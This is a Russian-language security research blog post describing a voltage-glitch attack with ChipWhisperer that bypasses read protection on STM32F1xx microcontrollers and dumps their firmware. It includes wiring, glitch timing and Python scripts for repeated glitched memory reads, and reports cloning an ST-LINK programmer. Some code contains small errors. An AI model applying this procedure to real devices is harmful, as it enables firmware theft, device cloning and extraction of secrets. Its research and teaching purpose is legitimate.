Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer

в 7:57, , рубрики: ChipWhisperer, fault injection, аппаратная разработка, информационная безопасность, программирование микроконтроллеров, реверс-инжиниринг

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer - 1

В предыдущей статье мы разбирались с Vcc-glitch-атаками при помощи ChipWhisperer. Нашей дальнейшей целью стало поэтапное изучение процесса считывания защищенной прошивки микроконтроллеров. С помощью подобных атак злоумышленник может получить доступ ко всем паролям устройства и программным алгоритмам. Яркий пример – взлом аппаратного криптокошелька Ledger Nano S с платой МК STM32F042 при помощи Vcc-glitch-атак.

Интересно? Давайте смотреть под кат.

О возможности считывания защищенной прошивки мы узнали из статьи, в которой приведены результаты выполнения Vcc-glitch-атаки – обхода байта защиты RDP через масочный загрузчик (bootloader) для нескольких микроконтроллеров (далее – МК). Также рекомендуем к прочтению статью о взломе ESP32.

Теоретической базой исследования послужило руководство успешного считывания защищенной прошивки для LPC1114 через масочный загрузчик с использованием ChipWhisperer.

Так же, как и в первой статье, мы решили проводить эксперименты на плате МК STM32F103RBT6:

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer - 2

Плата STM32F103RBT6

Возможность записи данных в сектор флеш-памяти и RAM-памяти или их чтения, а также выполнения других действий с памятью МК определяется значением байта защиты (для STM32 – RDP). Для разных МК значения и назначение байтов защиты, а также алгоритм их проверки различается.

Аппаратная настройка

Приступим к проведению эксперимента. Для начала необходимо подключить ChipWhisperer к МК согласно рисунку:

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer - 3

Схема подключения ChipWhisperer к STM32 для считывания защищенной прошивки через масочный загрузчик

На схеме зачеркнуты элементы, которые следует удалить из платы STM32F103RBT6 (в отличие от стандартного подключения МК). Стрелками обозначены места подключения ChipWhisperer, а подписями – его пины.

Наличие внешнего кварца, представленного на схеме, не обязательно, поскольку при работе с масочным загрузчиком плата МК STM32F103RBT6 использует внутренний CLOCK с частотой 24 МГц, поэтому синхронизация между ChipWhisperer и МК отсутствует.

Перейдем к настройке ChipWhisperer. Как уже было отмечено выше, рекомендуемая частота работы ChipWhisperer – 24 МГц (или другое кратное значение). Чем выше кратность этой частоты, тем точнее можно настроить момент атаки. Из-за отсутствия синхронизации подбор параметра scope.glitch.offset необязателен, ему можно присвоить любое значение.

Параметры scope.glitch.repeat и scope.glitch.width необходимо подбирать в зависимости от установленной частоты ChipWhisperer. При большом значении частоты все кратковременные импульсы, количество которых устанавливается при помощи scope.glitch.repeat, сливаются в один длительный импульс. Поэтому можно подбирать значение параметра scope.glitch.width, а scope.glitch.repeat зафиксировать, либо наоборот. Мы обнаружили, что оптимальная длительность импульса должна составлять около 80 нс (определяется как ширина импульса на его полувысоте).

Осталось подобрать значение параметра scope.glitch.ext_offset.

Подбор scope.glitch.ext_offset

Сначала необходимо выбрать момент атаки. Согласно схеме, представленной в документе компании STM, проверка значения байта защиты выполняется после получения запроса на чтение данных сектора флеш-памяти:

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer - 4

Алгоритм ответа на запрос о чтении данных сектора флеш-памяти

Чтобы удостовериться в верности такой схемы проверки, мы считали исполняемый код загрузчика подобного МК без защиты RDP через ST-Link. На рисунках ниже показаны части алгоритма обработки команды Read Memory command.

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer - 5

Общий вид обработки команды чтения памяти (хорошо видны вызов функции проверки RDP и посылка NACK в случае неудачной проверки)

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer - 6

Тело функции проверки RDP

Обратим внимание на тело функции проверки RDP: видно, что происходит чтение регистра по адресу 0x40022000 + 0x1C, логический сдвиг на 30 разрядов и ветвление. Из документации PM0075 Programming manual (STM32F10xxx Flash memory microcontrollers) становится понятно, что 0x40022000 – это базовый адрес контроллера flash memory, а 0x1C – это смещение регистра FLASH_OBR, в котором нас интересует второй бит RDPRT: Read protection, в котором содержится статус защиты RDP.

Необходимый момент проведения атаки – отработка инструкции LDR (загрузки из памяти). Эта инструкция располагается между запросом на чтение прошивки (отправление байта 0x11 с контрольной суммой 0xEE) и ответом ACK/NOACK МК по UART. Для того чтобы визуально зафиксировать этот момент, необходимо подключить осциллограф к UART1_RX (пин PA10) и UART1_TX (пин PA9), а затем отслеживать изменение напряжения по UART1. В результате осциллограмма атаки по питанию с подобранным значением scope.glitch.ext_offset должна выглядеть примерно так:

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer - 7

Выбор момента проведения атаки

Скрипт считывания прошивки

Теперь необходимо указать момент срабатывания триггера CW_TRIG в коде Python с целью перехвата момента передачи контрольной суммы по UART1_RX. У ChipWhisperer есть библиотека для общения с масочным загрузчиком МК STM32. В штатном режиме эта библиотека используется для загрузки на МК прошивок из руководств при помощи класса class STM32FSerial(object), расположенного в файле programmer_stm32fserial.py по пути software/chipwhisperer/hardware/naeusb/. Для активации срабатывания триггера необходимо скопировать этот класс в главный исполняемый скрипт, чтобы метод класса CmdGeneric(self, cmd) стал глобально доступным, и добавить команду scope.arm() до передачи контрольной суммы (0xEE) запроса на считывание сектора памяти. Итоговый класс приведен в спойлере ниже.

Класс для общения ChipWhisperer с STM32

import time
import sys
import logging
from chipwhisperer.common.utils import util
from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f
from chipwhisperer.capture.api.programmers import Programmer

# class which can normally using internal CW library for reading STM32 firmware by UART
class STM32Reader(Programmer):
    def __init__(self):
        super(STM32Reader, self).__init__()
        self.supported_chips = supported_stm32f

        self.slow_speed = False
        self.small_blocks = True
        self.stm = None

    def stm32prog(self):

        if self.stm is None:
            stm = self.scope.scopetype.dev.serialstm32f
        else:
            stm = self.stm

        stm.slow_speed = self.slow_speed
        stm.small_blocks = self.small_blocks

        return stm

    def stm32open(self):
        stm32f = self.stm32prog()
        stm32f.open_port()

    def stm32find(self):
        stm32f = self.stm32prog()
        stm32f.scope = self.scope
        sig, chip = stm32f.find()

    def stm32readMem(self, addr, lng):
        stm32f = self.stm32prog()
        stm32f.scope = self.scope
        #answer = stm32f.readMemory(addr, lng)
        answer = self.ReadMemory(addr, lng)
        return answer

    def stm32GetID(self):
        stm32f = self.stm32prog()
        stm32f.scope = self.scope
        answer = stm32f.cmdGetID()
        return answer

    # Needed for connection to STM after reload by reset_target(scope) method
    def FindSTM(self):
        #setup serial port (or CW-serial port?)
        stm32f = self.stm32prog()

        try:
            stm32f.initChip()
        except IOError:
            print("Failed to detect chip. Check following: ")
            print("   1. Connections and device power. ")
            print("   2. Device has valid clock (or remove clock entirely for internal osc).")
            print("   3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.")
            raise

        boot_version = stm32f.cmdGet()
        chip_id = stm32f.cmdGetID()

        for t in supported_stm32f:
            if chip_id == t.signature:
#                print("Detected known STMF32: %s" % t.name)
                stm32f.setChip(t)
                return chip_id, t
#        print("Detected unknown STM32F ID: 0x%03x" % chip_id)
        return chip_id, None

Следует обратить внимание на то, что масочный загрузчик STM32F1хх позволяет считывать за один запрос не более 256 байт прошивки из указанного сектора флеш-памяти. Поэтому при считывании всей прошивки МК необходимо в ходе Vcc-glitch-атаки выполнить несколько запросов на чтение. Затем полученные 256 байт следует разбить на восемь 32-байтных массивов и сформировать из них файл формата HEX.

Код HEX-конвертера и вспомогательные функции

def int2str_0xFF(int_number, number_of_bytes):
    return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string)

def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32):
    if mem_sector > 0xFFFF:
        mem_conversion = mem_sector >> 16
        mem_conversion = mem_sector - (mem_conversion << 16)
    data_out = ''
    for i in range(int(256/mem_step)):
        data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)]
        mem_calc = mem_conversion + (i * mem_step)
        data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + 'n'
    return data_out

def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step):
    addr_string = memory_address -((memory_address >> 20) << 20)

    data_buffer = ''
    crcacc = 0
    for x in range(0, len(data_to_convert)):
        data_buffer += int2str_0xFF(data_to_convert[x], 2)
        crcacc += data_to_convert[x]

    crcacc += mem_step

    temp_addr_string = addr_string
    for i in range (4, -1, -2):
        crcacc += temp_addr_string >> i*4
        temp_addr_string -= ((temp_addr_string >> i*4) << i*4)

    crcacc_2nd_symbol = (crcacc >> 8) + 1
    crcacc = (crcacc_2nd_symbol << 8) - crcacc
    if crcacc == 0x100:
        crcacc = 0
    RECTYP = 0x00
    out_string = ':'+ Int_To_Hex_String(mem_step, 2)  +
        Int_To_Hex_String((addr_string),4) +
        Int_To_Hex_String(RECTYP, 2) +
        data_buffer +
        Int_To_Hex_String(crcacc, 2)
    return out_string

def send_to_file(info_to_output, File_name, directory):
    file = open(directory + File_name + '.hex', 'w')
    file.write(info_to_output)
    file.close()

def reset_target(scope):
    scope.io.nrst = 'low'
    time.sleep(0.05)
    scope.io.nrst = 'high'

from collections import namedtuple
Range = namedtuple('Range', ['min', 'max', 'step'])

Настройка параметров ChipWhisperer завершена. Итоговый скрипт на считывание прошивки выглядит следующим образом:

# string of start HEX file
Start_of_File_Record = ':020000040800F2'
# string of end HEX file
End_of_File_Record = ':00000001FF'

length_of_sector = 256
if length_of_sector % 4 != 0:
    sys.exit('length_of_sector must be equal to 4')

output_to_file_buffer = ''
output_to_file_buffer += Start_of_File_Record + 'n'

mem_current = mem_start
while mem_current < mem_stop:
    # flush the garbage from the computer's target read buffer
    target.ser.flush()
    # run aux stuff that should run before the scope arms here
    reset_target(scope)
    # initialize STM32 after each reset
    prog.FindSTM()

    try:
        # reading of closed memory sector
        data = prog.stm32readMem(mem_current, length_of_sector)
    except Exception as message:
        message = str(message)
        if "Can't read port" in message:
#            print('Port silence')
            pass
        elif 'Unknown response. 0x11: 0x0' in message:
#            print('Crashed. Reload!')
            pass
        elif 'NACK 0x11' in message:
#            print('Firmware is closed!')
            pass
        else:
#            print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset)
            pass

    else:
        data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current)
        print(data_to_out)
        output_to_file_buffer += data_to_out
    mem_current += length_of_sector

output_to_file_buffer += End_of_File_Record + 'n'
send_to_file(output_to_file_buffer, File_name, directory)

Все закомментированные сообщения print() после строчки except Exception as помогают отслеживать состояние МК при поиске оптимальных параметров glitch-импульса. Для отслеживания конкретного состояния МК достаточно раскомментировать необходимое сообщение print().

Результаты считывания

На видео продемонстрирована загрузка прошивки на МК через программатор ST-LINK, перевод RDP в состояние защиты и последующее считывание прошивки:

Успешному проведению Vcc-glitch-атаки могут помешать следующие ошибки:

• считывание неверного сектора памяти;

• самопроизвольное удаление прошивки.

Избежать подобных ошибок поможет точный выбор момента атаки путем увеличения частоты работы ChipWhisperer.

После разработки и отладки алгоритма считывания защищенной прошивки мы провели тестовое считывание прошивки программатора ST-LINK-V2.1, который работает на МК STM32F103CBT6. Считанную прошивку мы зашили на «чистый» МК STM32F103CBT6 и установили его вместо заводского. В результате ST-LINK-V2.1 с замененным МК работал в нормальном режиме, будто подмены не было.

Также мы попробовали провести серию атак на STM32F303RCT7. Этот МК в ходе атаки вел себя идентично STM32F103RBT6, но ответ на запрос чтения памяти содержал байт, равный 0х00, что не совпадало с ожидаемым нами результатом. Причина такой неудачи заключалась в более сложном и развитом принципе организации защиты этих МК.

В МК STM32F1xx существует два состояния защиты: защита выключена (Level 0) и включена (Level 1). В старших моделях предусмотрено три состояния защиты: защита отключена (Level 0, RDP = 0x55AA), защита флеш- и SRAM-памяти (Level 2, RDP = 0x33CC) и защита только флеш-памяти (Level 1, RDP принимает любые значения, отличные от 0x55AA и 0x33CC). Поскольку Level 1 может принимать множество значений RDP, установить Level 0 достаточно тяжело. С другой стороны, существует возможность понижения уровня защиты с Level 2 на Level 1 сбиванием одного бита в байте RDP (показано на рисунке ниже), что открывает доступ к SRAM-памяти.

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer - 8

Сравнение значений RDP для разных уровней защиты прошивки

Остается только понять, как этим может воспользоваться злоумышленник. Например, с помощью метода CBS (Cold-Boot Stepping), описанного в этой статье. Этот метод основан на поэтапном снимке состояния SRAM-памяти (периодичность выполнения каждого снимка была в районе микросекунды) после загрузки МК с целью получения ключей шифрования, скрытых паролей или любой другой ценной информации. Авторы предполагают, что метод CBS сработает на всех сериях МК STM32.

Выводы

Подведем итоги наших экспериментов. Выполнение Vcc-glitch-атаки с использованием данных, полученных в результате предыдущего исследования (о котором можно прочитать здесь), заняло у нас несколько дней. А значит, научиться проводить подобные атаки достаточно легко.

Vcc-glitch-атаки опасны тем, что от них сложно защититься. Для уменьшения вероятности успешного проведения подобных атак предлагается использовать МК с более высоким уровнем защиты.

Автор: RaccoonSecurity

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js